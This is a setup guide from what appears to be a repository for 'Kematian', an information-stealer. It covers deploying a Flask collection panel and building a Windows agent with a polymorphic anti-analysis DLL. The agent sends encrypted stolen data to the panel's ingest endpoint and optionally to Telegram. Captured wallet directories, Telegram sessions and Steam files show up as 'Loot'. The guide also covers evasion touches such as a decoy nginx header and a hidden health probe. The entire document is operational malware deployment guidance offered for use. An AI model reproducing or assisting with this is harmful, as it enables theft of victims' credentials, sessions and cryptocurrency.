Files
kematianc2/setup.md
T
2026-08-27 11:23:01 -06:00

176 lines
5.8 KiB
Markdown

# Setup Guide
End-to-end setup for the Kematian collector panel + agent build pipeline.
Project: https://t.me/electronic_sex
## Table of contents
1. [Requirements](#requirements)
2. [Panel setup](#1-panel-setup)
3. [First-run configuration](#2-first-run-configuration)
4. [Building the agent](#3-building-the-agent)
5. [Wiring the agent to the panel](#4-wiring-the-agent-to-the-panel)
6. [Verification](#5-verification)
7. [Environment variables reference](#6-environment-variables-reference)
8. [Troubleshooting](#7-troubleshooting)
---
## Requirements
| Tool | Version (verified) | Purpose |
|------|--------------------|---------|
| Python | 3.10+ (3.14 verified) | Panel (Flask) |
| Go | 1.21+ (1.26 verified) | Agent build |
| Rust / Cargo | 1.75+ (1.95 verified) | Polymorphic anti-analysis DLL |
| Rust target `x86_64-pc-windows-gnu` | — | Windows GNU target for the DLL |
| pip packages | `panel/requirements.txt` | Flask, Werkzeug, cryptography |
Install the Rust target if missing:
```powershell
rustup target add x86_64-pc-windows-gnu
```
---
## 1. Panel setup
```powershell
cd panel
pip install -r requirements.txt
python app.py
```
On first start the panel:
- creates the SQLite database `panel/kematian.db`
- generates the X25519 keypair at `panel/kematian_e2ee.key` (private key never leaves the panel)
- serves on `0.0.0.0:5000` (override with `PANEL_PORT`)
Open `http://localhost:5000/setup` to create the admin account, then log in.
> A fresh DB and E2EE key are regenerated automatically if you delete them —
> resetting is as simple as deleting `kematian.db` and `kematian_e2ee.key`.
---
## 2. First-run configuration
Change these before exposing the panel (see env reference below):
- `PANEL_SECRET` — Flask session signing key
- `PANEL_INGEST_KEY` — the Bearer token the agent sends (default `CHANGE-ME`)
```powershell
$env:PANEL_SECRET = "long-random-session-secret"
$env:PANEL_INGEST_KEY = "long-random-ingest-token"
python app.py
```
> The agent's `PanelAuth` must equal `PANEL_INGEST_KEY`. If you change the
> panel key, rebuild agents with the new value.
---
## 3. Building the agent
### Option A — Web builder (recommended)
1. Log in to the panel.
2. Go to **Builder** (`/build`).
3. Enter:
- Panel endpoint (e.g. `http://your-server:5000/api/ingest`)
- Ingest key (must match `PANEL_INGEST_KEY`)
- Optional Telegram bot token + chat ID
- Build name
4. Click **Build agent** and watch the live log.
5. Download the resulting `.exe` from the build log page.
The builder:
- copies the native Go tree to a temp dir (source never modified)
- regenerates `rust-extractor/src/gen.rs` with fresh per-build constants
- rebuilds the Rust anti-analysis DLL
- patches `PanelEndpoint` / `PanelAuth` (+ Telegram) and runs `go build`
Requires `go` and `cargo` on `PATH` (or `BUILDER_CARGO` pointing to cargo).
### Option B — Local batch build
`Kematian-Standalone/final/build_final.bat` prompts for the endpoint, ingest
key, and optional Telegram config, then builds and restores the sources.
---
## 4. Wiring the agent to the panel
The agent needs two values patched at build time (`native/recovery/exfil/panel.go`):
- `PanelEndpoint` — the panel's `/api/ingest` URL
- `PanelAuth` — the `PANEL_INGEST_KEY`
The X25519 **public key is auto-fetched at runtime** from `GET /e2ee/pub` using
the same Bearer token, so no manual key exchange is needed. If the panel is
behind a firewall, allow the agent to reach the endpoint.
Wire scheme (agent → panel):
```
X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305
POST /api/ingest { "enc": "<base64>" }
```
Only the panel private key can decrypt ingested payloads.
---
## 5. Verification
1. Panel up: `GET http://127.0.0.1:5000/` → 200 (redirects to login).
2. Health probe returns 404 without the token (by design — no liveness beacon):
```powershell
curl.exe -H "Authorization: Bearer $env:PANEL_INGEST_KEY" http://127.0.0.1:5000/health
```
3. Public key endpoint:
```powershell
curl.exe -H "Authorization: Bearer $env:PANEL_INGEST_KEY" http://127.0.0.1:5000/e2ee/pub
```
4. Run a built agent on a clean host → the panel shows a new client and its
categories populate on the dashboard / client pages.
5. Hosted files (wallet dirs, Telegram sessions, Steam files) appear under
**Loot** and are downloadable.
---
## 6. Environment variables reference
| Variable | Default | Purpose |
|----------|---------|---------|
| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key |
| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send |
| `PANEL_PORT` | `5000` | Bind port |
| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IP allowlist for ingress/login |
| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) |
| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP |
| `PANEL_DECOY_NAME` | `nginx` | Decoy `Server` header value |
| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in builder form |
| `BUILDER_NATIVE_DIR` | `<repo>/Kematian-Standalone/native` | Agent Go source tree |
| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built `.exe` files are stored |
| `BUILDER_CARGO` | (PATH) | Path to `cargo` executable |
---
## 7. Troubleshooting
| Symptom | Fix |
|---------|-----|
| `ModuleNotFoundError` on panel start | `pip install -r requirements.txt` |
| Panel binds but shows nothing / 502 | Check `PANEL_PORT` is free; run `python app.py` in foreground |
| Build fails with `go: no go.mod` | Set `BUILDER_NATIVE_DIR` to `<repo>/Kematian-Standalone/native` |
| Rust DLL build fails | Ensure `x86_64-pc-windows-gnu` target installed; set `BUILDER_CARGO` |
| Agent connects but panel ignores payload | Verify `PanelAuth` in the build equals `PANEL_INGEST_KEY` |
| `/e2ee/pub` or `/health` returns 404 | Missing or wrong `Authorization: Bearer <key>` header |
| No admin account | Visit `/setup` once to create it |